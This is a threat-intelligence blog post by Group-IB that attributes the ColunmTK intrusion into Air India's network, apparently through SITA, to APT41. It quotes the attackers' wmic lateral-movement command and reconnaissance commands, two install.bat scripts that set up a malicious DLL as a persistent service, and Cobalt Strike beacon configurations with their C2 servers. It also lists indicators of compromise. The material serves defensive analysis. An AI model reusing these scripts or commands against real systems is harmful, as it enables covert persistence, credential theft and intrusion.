Big airline heist

blog.group-ib.com/colunmtk_apt41

10.06.2021

APT41 likely behind massive supply chain attack

Nikita Rostovcev

Threat Intelligence analyst at Group-IB

On March 4, 2021, SITA, an international provider of IT services for the air transport industry worldwide, said it had suffered a security incident. The announcement, however, was not getting the attention it deserved until **Air India**, one of SITA's customers, reported a massive passenger data breach on May 21 caused by an earlier attack against SITA. Between March and May, various airline companies, including **Singapore Airlines, Malaysia Airlines**, and others, disclosed data breaches. All of those companies were SITA customers. After Air India revealed the details of its security breach, it became clear that the carriers were most likely dealing with one of the biggest supply chain attacks in the airline industry's history.

Using its external threat hunting tools, Group-IB's Threat Intelligence team attributed the Air India incident with moderate confidence to the Chinese nation-state threat actor known as **APT41**. The campaign was codenamed **ColunmTK**.

In this blog post you will find:

- Previously unknown details about the ColunmTK campaign
- Connections between the SITA security incident and the Air India data breach
- Evidence of compromised workstations and exfiltration of 200 MB of data from Air India's network
- Descriptions of TTPs used during the ColunmTK campaign

- Connections between APT41 and the infrastructure used during the ColunmTK campaign

The potential ramifications of this incident for the entire airline industry and carriers that might yet discover traces of ColunmTK in their networks are significant. To help companies detect and hunt for ColunmTK, we have provided a full list of indicators of compromise (IOCs) that we retrieved. MITRE ATT&CK, MITRE Shield, and recommendations are available at the end of this blog post.

Group-IB's Threat Intelligence team informed CERT India and Air India of its findings so that they can take the necessary steps to mitigate the threat.

Background

On May 21, Air India, India's flag carrier, published an official statement on their website about a data breach. The announcement revealed that the breach was caused by a February incident at the airline's IT service provider, SITA PSS, which is responsible for processing customers' personally identifiable information (PII). It came to light that the SITA cyberattack affected 4,500,000 data subjects globally, including data related to Air India's customers.

Shortly after Air India's public announcement, the database allegedly related to their security breach was put up for sale on an underground market at USD 3,000.

According to Group-IB's Threat Intelligence & Attribution system, the alleged database was published on a fraudulent resource known for reselling data that has been published on various data-leak websites. Because the database had never surfaced anywhere on the dark web, nor in the public domain, Group-IB researchers considered it fake and decided to instead look deeper into what had been known about the actual attack and discovered that the post about listing with Air India's alleged data had nothing to do with what happened in reality. Group-IB's Threat Intelligence team soon realized that they were dealing with a sophisticated nation-state threat actor, rather than another financially motivated cybercriminal group.

Compromise of Air India's network

In mid-February 2021, Group-IB's Threat Intelligence & Attribution system detected infected devices that were part of Air India's computer network. Starting from at least February 23, 2021, a device inside the company's network communicated with a server with the IP address 185[.]118[.]166[.]66. According to Group-IB's Network Graph, this server has hosted Cobalt Strike, a popular post-exploitation framework, since December 11, 2020 (we will come back to it a little later).

Lifetime of a Cobalt Strike tag in Group-IB's Network Graph

The patient zero that started communicating with the C&C server was a device named SITASERVER4 with the local IP address 172[.]16[.]11[.]103. Based on how it is named, it is fair to assume that the device is related to a SITA data processing server.

After the attackers established persistence in the network and obtained passwords, they began moving laterally. The threat actor collected information inside the local network, including names of network resources and their addresses.

Below are examples of commands that were used for lateral movement:

Date	Device name	Command
03/02/21 06:43 PM	WEBSERVER3	wmic /node:172.16.2[.]114 /user:[REDACTED] /password:[REDACTED] process call create "c:\users\Public\install.bat".
03/03/21 02:05 AM	AILOAPOTHDT076	ping AILCCUALHSV002.

The results of some commands:

Host	Shell Command	Command Result
AILCCUALHSV002 - 172[.]24[.]3[.]24	ipconfig/all	Windows IP Configuration Host Name . . . . . : AILCCUALHSV002 Primary Dns Suffix . . . . . : ad[.]airindia[.]in Node Type . . . . . : Hybrid IP Routing Enabled. . . . . : No WINS Proxy Enabled. . . . . : No DNS Suffix Search List. . . . . : ad[.]airindia[.]in

Host	Shell Command	Command Result
AILCCUALHSV001-172[.]24[.]3[.]22	setspn -T ad[.]airindia[.]in -Q */* | findstr SQL	MSSQLSvc/AILDELCCPDT011.ad[.]airindia[.]in MSSQLSvc/AILDELCCPDT011.ad[.]airindia[.]in:1433 MSSQLSvc/AILDELCCPDT017.ad[.]airindia[.]in MSSQLSvc/AILDELCCPDT017.ad[.]airindia[.]in:1433 MSSQLSvc/AILDELCCPDT018.ad[.]airindia[.]in MSSQLSvc/AILDELCCPDT018.ad[.]airindia[.]in:1433 MSSQLSvc/AASBOMCGODT009.ad[.]airindia[.]in:1433 MSSQLSvc/AILDELCCPDT020.ad[.]airindia[.]in MSSQLSvc/AILDELCCPDT020.ad[.]airindia[.]in:1433 MSSQLSvc/AILDELCCPDT023.ad[.]airindia[.]in MSSQLSvc/AILDELCCPDT032.ad[.]airindia[.]in:1433 MSSQLSvc/AILDELCCPDT032.ad[.]airindia[.]in MSSQLSvc/AILDELCCPDB01.ad[.]airindia[.]in:17001 MSSQLSvc/AILDELCCPDB01.ad[.]airindia[.]in:PDWTDSSERVER MSSQLSvc/MAAAUCDT614.ad[.]airindia[.]in MSSQLSvc/AILMAAAUCDT614.ad[.]airindia[.]in MSSQLSvc/AILDELGSDDT406.ad[.]airindia[.]in MSSQLSvc/AILBOMAPTDT107.ad[.]airindia[.]in MSSQLSvc/TRCOM.ad[.]airindia[.]in:1433 MSSQLSvc/ATLDELGSDDT027.ad[.]airindia[.]in MSSQLSvc/AILOAPDITDT008.ad[.]airindia[.]in:1433 MSSQLSvc/AILOAPDITDT008.ad[.]airindia[.]in MSSQLSvc/AILDELCCPDT041.ad[.]airindia[.]in MSSQLSvc/AILDELCCPDT041.ad[.]airindia[.]in:1433 MSSQLSvc/AILMAAAUCDT179.ad[.]airindia[.]in

The attackers exfiltrated NTLM hashes and plain-text passwords from local workstations using hashdump and mimikatz.The attackers tried to escalate local privileges with the help of BadPotato malware. BadPotatoNet4.exe was uploaded to one of the devices inside the victim's network under the name SecurityHealthSystray.exe. According to our data, at least 20 devices from Air India's network were compromised during the lateral movement stage. The attackers used DNS-txt requests to connect the bots to the C&C server. The following domains were used for DNS tunneling.

- ns2[.]colunm[.]tk;
- ns1[.]colunm[.]tk.

The name of the campaign, **ColunmTK**, is derived from these initially discovered domains.

It was also found that the attackers extracted 23,339,032 bytes of data from the following devices:

- SITASERVER4
- AILCCUALHSV001
- AILDELCCPOSCE01
- AILDELCCPDB01
- WEBSERVER3

According to Group-IB's Threat Intelligence & Attribution data, the compromised devices were located in different subnets, which may indicate that the compromise affected various segments of Air India's network.

According to Group-IB's records, the attack on Air India lasted for at least 2 months and 26 days. It took the attackers 24 hours and 5 minutes to spread Cobalt Strike beacons to other devices in the airline's network.

ColunmTK Timeline

The initial attack vector remains unknown. However, the evidence showing that the first device that started communicating with the adversary-controlled C&C server was a SITA server and the fact that SITA notified Air India about its security incident give reasonable ground to believe that the compromise of Air India's network was the result of a sophisticated supply chain attack, which might have started with SITA. If this conclusion is true, it would affect other SITA customers, which the company claims make up about 90% of the world's airline businesses.

Connections with APT41

Group-IB researchers believe with moderate confidence that the ColunmTK campaign was carried out by APT41, a prolific Chinese-speaking nation-state threat actor. APT41, also known as WICKED SPIDER (PANDA), Winnti Umbrella, and BARIUM, is believed to have been engaging in state-sponsored espionage in China's interests as well as committing financially motivated cybercrimes. According to Group-IB's Threat Intelligence & Attribution system, the threat actor has been active since at least 2007.

APT41 is known for stealing digital certificates for its cyber espionage operations. India is a frequent target of Chinese nation-state adversaries.

When analyzing the network infrastructure of the C&C-server involved in the cyberattack against Air India, Group-IB's Threat Intelligence & Attribution system revealed that the threat actor used a specific SSL certificate, which was detected on five hosts only.

IP address	Location	ASN	Organization
185.118.164[.]198	RU	AS44493	Chelyabinsk-Signal LLC
104.224.169[.]214	US	AS19181	IT7 Networks Inc
45.61.136[.]199	US	AS53667	BL Networks
185.118.166[.]66	RU	AS44493	Chelyabinsk-Signal LLC
149.28.134[.]209	SG	AS20473	Vultr Holdings, LLC

Network relations between hosts with a specific fingerprint presented in Group-IB's Threat Intelligence & Attribution system

Let's take a closer look at these five IP addresses.

One of them, 45[.]61[.]136[.]199, was attributed to APT41(aka Barium) by Microsoft in their recent research.

It is worth looking at another IP address from the list: 104[.]224[.]169[.]214. This IP address was used as an A record for two domains: server04[.]dns04[.]com and service04[.]dns04[.]com. The IP address was also used to host the Cobalt Strike framework and shared an SSL certificate, b3038101fd0e8b11c519f739f12c7e9b60234d3b, with ColunmTK's IP address 185.118.166[.]66. When analyzing the

dns04[.]com subdomains, we found that these domains were parked at the IP address 127.0.0.1 on the same date: April 15, 2021. According to Group-IB researchers, APT41 usually parks their domains for some time at 127.0.0.1 after their campaigns are over.

Network relations between hosts parked at 127.0.0.1.
Source: Group-IB Threat Intelligence & Attribution

Another interesting domain is service[.]dns22[.]ml. This domain shared the SSL certificate b3038101fd0e8b11c519f739f12c7e9b60234d3b with ColunmTK's IP address and was parked at 127.0.0.1 on January 15, 2021. Security researchers found that the IP address 104[.]224[.]169[.]214 was used as the IP address for a shellcode loader in APT41's earlier campaigns, in which the domain service[.]dns22[.]ml was also used.

Group-IB researchers discovered a file named "Install.bat" (SHA1-7185bb6f1dddca0e6b5a07b357529e2397cdee44). The file was uploaded by the attackers to some of the compromised devices inside Air India's network as part of the ColunmTK campaign. The file is very similar to one used by APT41 in a different campaign described by FireEye researchers.

In both cases, the files were used to establish persistence in the network. The files are very similar in the way they launch a DLL file as a service and create keys in the registry.
The contents of the file "install.bat" from APT41's This is Not a Test campaign:

```
@echo off
set "WORK_DIR=C:\Windows\System32"
set "DLL_NAME=storesyncsvc.dll"
set "SERVICE_NAME=StorSyncSvc"
set "DISPLAY_NAME=Storage Sync Service"
set "DESCRIPTION=The Storage Sync Service is the top-level resource for File Sync. It creates sync relationships with
multiple storage accounts via multiple sync groups. If this service is stopped or disabled, applications will be unable to
run collectly."
sc stop %SERVICE_NAME%
sc delete %SERVICE_NAME%
mkdir %WORK_DIR%
copy "%
dp0%DLL_NAME%" "%WORK_DIR%" /Y
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v "%SERVICE_NAME%" /t REG_MULTI_SZ /d "%SERVICE_NAME%"
/f
sc create "%SERVICE_NAME%" binPath= "%SystemRoot%\system32\svchost.exe -k %SERVICE_NAME%" type= share start= auto error=
ignore DisplayName= "%DISPLAY_NAME%"
SC failure "%SERVICE_NAME%" reset= 86400 actions= restart/60000/restart/60000/restart/60000
sc description "%SERVICE_NAME%" "%DESCRIPTION%"
reg add "HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters" /v "ServiceDll" /t REG_EXPAND_SZ /d
"%WORK_DIR%\%DLL_NAME%" /f
net start "%SERVICE_NAME%"
```

The contents of the file "install.bat" from the ColunmTK campaign:

```
@echo off
set "WORK_DIR=c:\Windows\System32"
set "DLL_NAME=SecurityHealthSystray.dll"
set "SERVICE_NAME=COMSysConfig"
set "DISPLAY_NAME=COM+ Update Service"
set "DESCRIPTION="
sc stop %SERVICE_NAME%
sc delete %SERVICE_NAME%
mkdir %WORK_DIR%
copy "%
dp0%DLL_NAME%" "%WORK_DIR%" /Y
dp0SecurityHealthSystra.ocx" "%WORK_DIR%\SecurityHealthSystra.ocx" /Y
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v "%SERVICE_NAME%" /t REG_MULTI_SZ /d "%SERVICE_NAME%"
/f
sc create "%SERVICE_NAME%" binPath= "%SystemRoot%\system32\svchost.exe -k %SERVICE_NAME%" type= share start= auto error=
ignore DisplayName= "%DISPLAY_NAME%"
SC failure "%SERVICE_NAME%" reset= 86400 actions= restart/60000/restart/60000/restart/60000
sc description "%SERVICE_NAME%" "%DESCRIPTION%"
reg add "HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters" /v "ServiceDll" /t REG_EXPAND_SZ /d
"%WORK_DIR%\%DLL_NAME%" /f
net start "%SERVICE_NAME%"
```

Group-IB researchers believe with moderate confidence that the ColunmTK campaign against Air India was carried out by the Chinese nation-state threat actor APT41.

Attribution of the ColunmTK campaign against Air India to APT41.

ColunmTK MITRE ATT&CK and MITRE SHIELD

Below are indicators that were used in this campaign as well as MITRE ATT&CK mapping and a corresponding list of mitigation solutions. Companies should use MITRE ATT&CK to better prepare for attacks and know what techniques are needed to mitigate security risks associated with this threat actor.

Learn more about Group-IB's products and services:

Group-IB's Threat Intelligence & Attribution system, Threat Hunting Framework, Red Teaming, and Cyber Education

Indicators of compromise

Below are indicators that were used in this campaign as well as MITRE ATT&CK mapping and a corresponding list of mitigation solutions. Companies should use MITRE ATT&CK to better prepare for attacks and know what techniques are needed to mitigate security risks associated with this threat actor.

Network indicators:

- 185.118.164[.]198;
- 104.224.169[.]214;
- 45.61.136[.]199;
- 185.118.166[.]66;
- 149.28.134[.]209;
- columm[.]tk.

File name	MD5
install.bat	20aebf6e20c46b6bfe44f2828adf3b91
SecurityHealthSystray.dll	b6b06a95cfeeee0efe8bc0cd54eac71d
SecurityHealthSystray.ocx	83249cff833182b3299cbd4aac539c9a
BadPotatoNet4.exe	143278845a3f5276a1dd5860e7488313
COMSysUpdate.dll	559b7150d936fffe728092b160c14d28
install.bat	9337952aa3be0dacfc12898df3180f02
SecurityHealthSystray.ocx	212784cf25f0adfaf9ba46db41c373d5
COMSysUpdate.ocx	d414c7ede5a9d6d30e6d3fe547e27484

File name	MD5
ntoskrnl.exe	83e6da9cd8ccf9b0c04f00416b091076
COMSysUpdate.dll	7b501402c843034cd79151257aca189e
COMSysUpdate.ocx	69f5c5f67850acdb373ddd106adce48c
SecurityHealthSystray.dll	b071a62d2dd745743c6de5f115d633b1
SecurityHealthSystray.ocx	019122b1d783646f99c73a3c399cc334
install.bat	f61dbac694d34c96830f184658610261
SecurityHealthSystra.ocx	fc208a4d04c085edcea1ec5f402057f9
SecurityHealthSystray.dll	5528bb928e02926179fca52dd388b1f0
SecurityHealthSystray.dll	b8ecab09b7bfb42b9ace3666edf867a7
SecurityHealthSystra.ocx	c4be6b466807540a22f62ffa6829540f
SecurityHealthSystra.ocx	a00ab8ac0f11c3fcd5c557729afcbf89

Beacon configuration from 185.118.166[.]66

```
"post-get.verb" : "",
"process-inject-stub" : "d5nX4wNnwCo18Wx3jr4tPg==",
"http-get.uri" : "cs[.]colunm[.]tk,/dpixel",
"http-get.server.output" : "",
"post-ex.spawnto_x64" : "%windir%\\sysnative\\rundll32.exe",
"post-ex.spawnto_x86" : "%windir%\\syswow64\\rundll32.exe",
"cryptoscheme" : 0,
"process-inject-transform-x64" : "",
"process-inject-transform-x86" : "",
"maxdns" : 255,
"process-inject-min_alloc" : 0,
"http-post.client" : "&Content-Type: application/octet-streamid",
"dns_sleep" : 0,
"ssl" : true,
"SSH_Password_Pubkey" : "",
"http-post.uri" : "/submit.php",
"Proxy_UserName" : "",
"cookieBeacon" : 1,
"CFGCaution" : 0,
"process-inject-start-rwx" : 64,
"spawto" : "",
"SSH_Host" : "",
"stage.cleanup" : 0,
"SSH_Username" : "",
"watermark" : 305419896,
"process-inject-use-rwx" : 64,
"dns_idle" : 0,
"sleeptime" : 60000,
"dns" : false,
"publickey" : "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQ
CBkyCWDMC1Q6VqRZIY35+iU7KtrHy9+HnzzPxCetQ5toPMCqlwQEB9hj38O
nrVdGJYcvb8X36PIo8JBQSIB+ejM0xYaWwWIoLYhG1CSUJPgLc24wjjkW3/2wB
uLrgTuYxNeylf75fE6cQtSeimLeHp/XjyQPfYbUQgiCSqs7KSUwIDAQABAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAA==",
"pipename" : "",
"SSH_Password_Plaintext" : "",
```

```
"Proxy_Password" : "",
"Proxy_HostName" : "",
"host_header" : "",
"jitter" : 0,
"killdate" : 0,
"text_section" : 0,
"port" : 8443,
"shouldChunkPosts" : 0,
"http-get.client" : "Cookie",
"funk" : 0,
"SSH_Port" : 0,
"http-get.verb" : "GET",
"proxy_type" : 2,
"user-agent" : "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.
1; WOW64; Trident/5.0; MANM; MANM)"
```

Beacon configuration from 149.28.134[.]209

```
{
    "func": 0,
    "Spawnto_x86": "%windir%\\syswow64\\rundll32.exe",
    "DNS_sleep(ms)": 0,
    "HostHeader": "",
    "Maxdns": 255,
    "Proxy_AccessType": "2 (use IE settings)",
    "SpawnTo": "AAAAAAAAAAAAAAAAAAAAAA==",
    "binary.http-get.server.output":
"AAAABAAAAAEAAA1NAAAAAgAADSYAAAANAAAADwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    "bUsesCookies": "True",
    "Spawnto_x64": "%windir%\\sysnative\\rundll32.exe",
    "Watermark": 305419896,
    "bProcInject_MinAllocSize": 17500,
    "bProcInject_StartRWX": "True",
    "HttpGet_Verb": "GET",
    "version": "4",
    "PipeName": "",
    "UserAgent": "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
    "KillDate": "0",
    "HttpPost_Verb": "POST",
    "HttpPostChunk": 0,
    "textSectionEnd (0 if !sleep_mask)": 154122,
    "BeaconType": "8 (HTTPS)",
    "HttpGet_Metadata": [
        "Host: fortawesome.com",
        "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Encoding: gzip, deflate",
        "Referer: https://fortawesome.com/",
        "_fortawesome_session=",
        "Cookie"
    ],
    "ProcInject_PrependAppend_x86":
"AAAABJCQkJAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    "DNS_idle": "8.8.8.8",
    "ProcInject_AllocationMethod": "NtMapViewOfSection",
```

```
    "ProcInject_PrependAppend_x64":
"AAAABJCQkJAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    "Jitter": 37,
    "SleepTime": 1000,
    "bStageCleanup": "True",
    "C2Server": "149.28.134.209,/users/sign_in",
    "MaxGetSize": 1404878,
    "CryptoScheme": 0,
    "PublicKey":
"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCLWqwFbcEMqEaiaw6K1ORaRyQ62LPDVjE/Wb6tbstdNR2Yp4r8dmKAS7GCCboKK5zCbAmahgKWF59UWk2X/AKP

    "obfuscate_section": "AGACAFH9AgAAAAMAwKADAACwAwAwzgMAAAAAAAAAAAA=",
    "ProcInject_Execute": [
        "6"
    ],
    "ProcInject_Stub": "UGQyVORjQ+JF+/sEjjvVYA==",
    "bProcInject_UseRWX": "True",
    "HttpPost_Metadata": [
        "Host: fortawesome.com",
        "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Encoding: gzip, deflate",
        "__uid",
        "remember_me=on&authenticity_token="
    ],
    "bCFGCaution": "False",
    "Port": 443,
    "HttpPostUri": "/signup/custom"
}
```


Share

Receive insights on the latest cybercrime trends

X